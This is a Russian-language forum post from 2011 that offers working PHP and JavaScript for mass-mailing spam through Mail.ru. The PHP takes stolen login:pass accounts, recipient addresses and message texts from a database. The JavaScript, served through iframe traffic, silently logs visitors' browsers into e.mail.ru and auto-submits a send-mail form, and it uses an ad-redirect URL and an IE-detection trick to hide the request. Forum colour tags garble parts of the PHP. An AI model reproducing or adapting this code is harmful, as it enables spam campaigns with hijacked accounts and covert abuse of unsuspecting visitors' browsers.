Показать сообщение отдельно

  #4  
Старый 11.07.2011, 16:03
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами: 11322426

Репутация: 0
По умолчанию

Примеры реализации. Вариант 1

В этом примере не проверяется, авторизован пользователь на мэйлру или нет.

Из базы берется аккаунт, список адресов и тексты. Отправляется запрос авторизации.

В случае успешной авторизации, отправляется письмо. Если произошла ошибка авторизации, адреса возвращаются в базу для использования последующими аккаунтами.

Для рассылки нужен iframe траф.

Примечание:

Internet Explorer блокирует куки на запись если домен, на который ставятся куки, не соответствует домену в адресной строке браузера.

То есть, если картинка или фрейм с запросом авторизации расположены не на домене mail.ru, проверить валидность аккаунта можно, но отправить письмо нельзя, так как куки после авторизации записаны не будут.

Единственный вариант - авторизоваться в отдельном окне функцией open.

Ссылки с рекламных баннеров, размещаемых на мейлру проходят через редирект на поддомене мэйлру вида http://r.mail.ru/n00000000

Это позволяет поставить страницу возврата после авторизации на один из этих сайтов.

Страница возврата будет одинаковой, независимо от результата авторизации, чтобы пользователь не заметил запрос к мэйлру.

Самая простая и надежная проверка браузера IE - if('\v'=='v')

Если '\символ' не является escape-последовательностью, слэш игнорируется, то есть '\символ' == 'символ'

По неизвестным причинам, IE (единственный из всех браузеров) не поддерживает вертикальную табуляцию, поэтому '\v'=='v' возвращает true.

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])

{

[/
COLOR][COLOR="#0000BB"]$to[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]','[/COLOR][COLOR="#007700"];

}

[/
COLOR][COLOR="#0000BB"]$to[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]];

}

[/
COLOR][COLOR="#0000BB"]$res[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"SELECT `acc` FROM `acc` WHERE `used` = 0 LIMIT 1"[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"UPDATE `acc` SET `used` = 1 WHERE `used` = 0 LIMIT 1"[/COLOR][COLOR="#007700"]);

list([/
COLOR][COLOR="#0000BB"]$login[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$pass[/COLOR][COLOR="#007700"]) =[/COLOR][COLOR="#0000BB"]split[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]':'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// аккаунты в формате login:pass

[/COLOR][COLOR="#0000BB"]$res[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"SELECT `text` FROM `subj` WHERE `id` = "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]rand[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$count_subj[/COLOR][COLOR="#007700"]));

[/
COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_fetch_row[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$res[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$subj[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$res[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"SELECT `text` FROM `body` WHERE `id` = "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]rand[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$count_body[/COLOR][COLOR="#007700"]));

[/
COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_fetch_row[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$res[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$body[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]?>

[/COLOR]

function addInput(inpParent, inpName, inpValue) // функция добавления полей на форму

{

var newInput = document.createElement('input');

newInput.name = inpName;

newInput.value = inpValue;

inpParent.appendChild(newInput);

}

var newImg = new Image(); // создание картинки

newImg.onload = function () // если авторизация прошла успешно, отправляется письмо

{

// отправка через m.mail.ru

// newForm.action = 'http://m.mail.ru/cgi-bin/sentmsg?send=';

// отправка через e.mail.ru

newForm.action = 'http://e.mail.ru/cgi-bin/sentmsg?ajax_call=1&func_name=send&send=';

document.body.appendChild(newForm); // добавление формы на страницу

addInput(newForm, 'HTMLMessage', '1');

addInput(newForm, 'To', '[COLOR="#0000BB"][/COLOR]');

addInput(newForm, 'Subject', '[COLOR="#0000BB"][/COLOR]');

addInput(newForm, 'Body', '[COLOR="#0000BB"][/COLOR]');



if('\v'=='v') // если браузер IE, авторизация в отдельном окне с редиректом на один сайтов, которые рекламирует мэйлру

{

// авторизация через m.mail.ru

// open('http://m.mail.ru/cgi-bin/auth?level=1&Login=[COLOR="#0000BB"][/COLOR]&Password=[COLOR="#0000BB"][/COLOR]&page=http://r.mail.ru/n71448410&FailPage=http://r.mail.ru/n71448410');

// авторизация через e.mail.ru

open('http://e.mail.ru/cgi-bin/auth?level=1&Login=[COLOR="#0000BB"][/COLOR]&Password=[COLOR="#0000BB"][/COLOR]&page=http://r.mail.ru/n71448410&FailPage=http://r.mail.ru/n71448410');

setTimeout('newForm.submit()', 5000); // нажатие кнопки отправки с задержкой, чтобы аккаунт успел авторизоваться.

}

else

{

newForm.submit(); // отправка запроса

}

};

newImg.onerror = function () // при ошибке авторизации

{

document.body.appendChild(newForm); // добавление формы на страницу

addInput(newForm, 'to', '[COLOR="#0000BB"][/COLOR]');

newForm.submit(); // отправка запроса

};

// авторизация через m.mail.ru

// newImg.src = 'http://m.mail.ru/cgi-bin/auth?level=1&Login=[COLOR="#0000BB"][/COLOR]&Password=[COLOR="#0000BB"][/COLOR]&page=../img/at.png&FailPage=';

// авторизация через e.mail.ru

newImg.src = 'http://e.mail.ru/cgi-bin/auth?level=1&Login=[COLOR="#0000BB"][/COLOR]&Password=[COLOR="#0000BB"][/COLOR]&page=http://img.mail.ru/r/dumb.gif&FailPage=http://img.mail.ru/';

var newForm = document.createElement('form'); // создание формы

newForm.method = 'POST';

document.body.appendChild(newImg); // добавление картинки на страницу

[/COLOR] 
 
Ответить с цитированием